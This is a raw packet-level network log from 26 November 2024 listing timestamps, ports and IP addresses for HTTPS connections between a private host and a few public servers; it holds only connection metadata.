Nov 26, 2024 13:44:09.686528921 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.686758041 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.686767101 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.688235044 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.688314915 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.689249039 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.689333916 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.689398050 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.689405918 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.743866920 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.749090910 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.749655008 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.749690056 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.750164986 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.750174046 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.821569920 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.824668884 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.824744940 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.824809074 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.824840069 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.824908018 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.825114965 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.825128078 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.825151920 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.825191021 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.825212002 CET	49840	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.825220108 CET	443	49840	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.829273939 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.832904100 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.832921028 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.833014011 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.833194971 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:09.833209038 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:09.880158901 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.880173922 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.881614923 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.881692886 CET	443	49842	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.881759882 CET	49842	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.885298967 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.885325909 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:09.885416031 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.885629892 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:09.885641098 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.167083025 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167119026 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167130947 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167157888 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167170048 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167179108 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167197943 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.167229891 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.167257071 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.167332888 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.206039906 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.209343910 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.209413052 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.209511995 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.209536076 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.209551096 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.209559917 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.213660002 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.213705063 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.213809967 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.214026928 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.214046001 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.342770100 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.342833042 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.342921972 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.342930079 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.342981100 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.420217037 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.420284986 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.420352936 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.420360088 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.420398951 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.420427084 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.423300982 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.423405886 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.423412085 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.423485041 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.423537970 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.423785925 CET	49845	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.423791885 CET	443	49845	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.454793930 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.454806089 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.454885006 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.455478907 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.455488920 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.480235100 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.480298042 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.480375051 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.480803967 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.480822086 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.481470108 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.481481075 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.481537104 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.481702089 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:10.481714964 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:10.519167900 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.519728899 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.519762039 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.520607948 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.520622015 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.573901892 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.573925972 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:10.573988914 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.574306011 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:10.574318886 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.275166035 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.275238037 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.275333881 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.275654078 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.275681019 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.275692940 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.275700092 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.279031992 CET	49857	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.279074907 CET	443	49857	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.279170990 CET	49857	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.279370070 CET	49857	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.279387951 CET	443	49857	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.307790995 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.308212996 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.308228970 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.308507919 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.308696032 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.308705091 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.309233904 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.309313059 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.309628010 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.309685946 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.309715033 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.309787035 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.309787989 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.309798956 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.310149908 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.310208082 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.310333014 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.310877085 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.350831032 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.366163015 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.393191099 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.393697023 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.393723965 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.394145012 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.394150972 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.701514959 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.701870918 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.701879978 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.702342033 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.702557087 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.702578068 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.702908993 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.702924967 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.703002930 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.703226089 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.703282118 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.703516006 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.703577042 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.703720093 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.703737974 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.703826904 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.703834057 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.720365047 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.720652103 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.720663071 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.721714020 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.721790075 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.722363949 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.722424030 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.722536087 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.722543001 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.756752968 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.759825945 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.768398046 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.772064924 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.804315090 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.804332018 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.818345070 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.818351984 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.819298983 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.821738958 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.823013067 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.823034048 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.823664904 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.823672056 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.823987007 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.823998928 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.824502945 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.824506998 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.831265926 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.834551096 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.834660053 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.834739923 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.834750891 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.834763050 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.834768057 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.838042021 CET	49858	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.838072062 CET	443	49858	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.838155031 CET	49858	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.838319063 CET	49858	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:11.838330984 CET	443	49858	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:11.850655079 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.865986109 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.943907976 CET	49706	443	192.168.2.7	13.57.116.250
Nov 26, 2024 13:44:11.943929911 CET	443	49706	13.57.116.250	192.168.2.7
Nov 26, 2024 13:44:11.979089022 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.979104042 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.979197979 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.979209900 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:11.979264975 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:11.995928049 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.003969908 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.040425062 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.047310114 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.047331095 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.089827061 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.200784922 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.200866938 CET	443	49849	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.200951099 CET	49849	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.201683044 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.201704025 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.202528954 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.202537060 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.206741095 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.206801891 CET	443	49851	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.206870079 CET	49851	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.248239040 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.248642921 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.248686075 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.248701096 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.289164066 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.289181948 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.294998884 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.295063972 CET	443	49855	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.295120001 CET	49855	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.295777082 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.295871973 CET	443	49853	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.295974016 CET	49853	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.318492889 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.318533897 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.318600893 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.318860054 CET	49859	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.318876028 CET	443	49859	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.329418898 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.329495907 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.329546928 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.329776049 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.329788923 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.329802990 CET	49850	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.329807997 CET	443	49850	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.330876112 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.332472086 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.333471060 CET	49860	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.333493948 CET	443	49860	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.333573103 CET	49860	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.333764076 CET	49860	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.333775997 CET	443	49860	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.335567951 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.335629940 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.335664034 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.335671902 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.335683107 CET	49848	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.335686922 CET	443	49848	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.338202000 CET	49861	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.338216066 CET	443	49861	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.338318110 CET	49861	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.338471889 CET	49861	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.338481903 CET	443	49861	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.412066936 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.412317038 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.412328959 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.413394928 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.413484097 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.414148092 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.414212942 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.414576054 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.414583921 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.445368052 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.445383072 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.445405006 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.445416927 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.445446014 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.445452929 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.445472002 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.445491076 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.445521116 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.468174934 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.513444901 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.513469934 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.513633966 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.513647079 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.513680935 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.527646065 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.530724049 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.530771971 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.530873060 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.530894041 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.530905962 CET	49852	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.530915022 CET	443	49852	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.535526037 CET	49863	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.535557032 CET	443	49863	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.535609961 CET	49863	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.535803080 CET	49863	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.535820007 CET	443	49863	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.550071955 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.550117970 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.550139904 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.550151110 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.550185919 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.550203085 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.589566946 CET	49864	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.589589119 CET	443	49864	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.589647055 CET	49864	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.590234995 CET	49865	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.590274096 CET	443	49865	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.590367079 CET	49865	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.590526104 CET	49864	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.590538025 CET	443	49864	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.590899944 CET	49866	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.590913057 CET	443	49866	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.590986967 CET	49866	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.591430902 CET	49867	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.591439962 CET	443	49867	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.591480017 CET	49867	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.591645002 CET	49865	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:12.591661930 CET	443	49865	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.591808081 CET	49866	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.591824055 CET	443	49866	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.592032909 CET	49867	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.592041969 CET	443	49867	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.600194931 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.600205898 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.600419044 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.600539923 CET	443	49854	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:12.600651979 CET	49854	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:12.906061888 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.906130075 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.906138897 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.906174898 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:12.906186104 CET	443	49856	13.107.246.63	192.168.2.7
